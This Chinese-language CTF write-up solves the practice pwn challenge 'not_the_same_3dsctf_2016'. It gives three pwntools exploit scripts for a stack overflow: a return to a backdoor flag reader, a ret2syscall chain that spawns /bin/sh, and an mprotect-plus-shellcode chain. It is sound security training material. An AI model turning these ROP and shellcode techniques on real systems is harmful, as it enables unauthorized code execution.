not_the_same_3dsctf_2016
查看保护就不说了

IDA反编译发现为静态编译,不用找libc了这点节省不少功夫。打开main函数,发现栈溢出漏洞

偏移为45,这个是根据gdb的cyclic算出来的
发现后门函数get_secret,功能是把flag读取赋值给fl4g

初步思路为通过栈溢出,调用get_secret,再通过write函数读取fl4g
方法一 通过栈溢出调用后门函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * from LibcSearcher import * filename = './not_the_same_3dsctf_2016'
if len(sys.argv) > 1 and sys.argv[1] == 'remote': p = remote('node5.buuoj.cn' , 29232) else: p = process(filename) elf = ELF(filename) write_addr = 0x806E270 flag_addr = 0x080ECA2D target = 0x080489A0 exit_addr = 0x0804E660
payload = 45 * b'a' payload += p32(target) payload += p32(elf.symbols['write']) + p32(exit_addr) payload += p32(1) + p32(flag_addr) + p32(42)
p.sendline(payload) p.interactive()
|
我们前面分析这个是静态编译,我们可以直接ret2syscall,通过设置寄存器的值,直接获得shell
方法二 ret2syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * from LibcSearcher import * filename = './not_the_same_3dsctf_2016'
if len(sys.argv) > 1 and sys.argv[1] == 'remote': p = remote('node5.buuoj.cn' , 29232) else: p = process(filename) elf = ELF(filename)
pop_eax = 0x08048b0b
pop_ebx_edx = 0x0806fcc9
pop_ecx_ebx = 0x0806fcf1
int80_addr = 0x0806d8a5 get_addr = 0x0804F8D0 data_addr = 0x080EBAD2 target = 0x080489A0
pop1 = 0x080481ad payload = 45 * b'a' payload += p32(get_addr) + p32(pop1) + p32(data_addr) payload += p32(pop_ecx_ebx) + p32(0) + p32(0) payload += p32(pop_eax) + p32(11) payload += p32(pop_ebx_edx) + p32(data_addr) + p32(0) payload += p32(int80_addr) payload += p32(target) p.sendline(payload) p.sendline(b'/bin/sh') p.interactive()
|
这个看上去有点复杂但是,耐心看下来还是很好理解的,32位getshell需要调用execv>(”/bin/sh”,null,null),寄存器eax=11,ebx=”/bin/sh”,ecx=0,edx=0,然后再执行int 0x80
然后我们发现函数列表有mprotect,这个函数可以改变段的执行权限,我们可以开启最高权限,执行shellcode

方法三 mprotect配合shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * from LibcSearcher import * filename = './not_the_same_3dsctf_2016'
if len(sys.argv) > 1 and sys.argv[1] == 'remote': p = remote('node5.buuoj.cn' , 29232) else: p = process(filename) elf = ELF(filename) context(arch = 'i386' , os = 'linux' , log_level = 'debug') read_addr = elf.symbols['read'] mprotect_addr = 0x0806ED40 pop3_ret = 0x806fcc8 shellcode = asm(shellcraft.sh()) target = 0x80ea000 binsh_addr = 0x80ec000
payload = 0x2D * b'a' payload += p32(mprotect_addr) + p32(pop3_ret) payload += p32(target) + p32(0x3000) + p32(0x7) payload += p32(read_addr) + p32(pop3_ret) payload += p32(0) + p32(binsh_addr) + p32(len(shellcode)) payload += p32(binsh_addr)
p.sendline(payload) p.sendline(shellcode) p.interactive()
|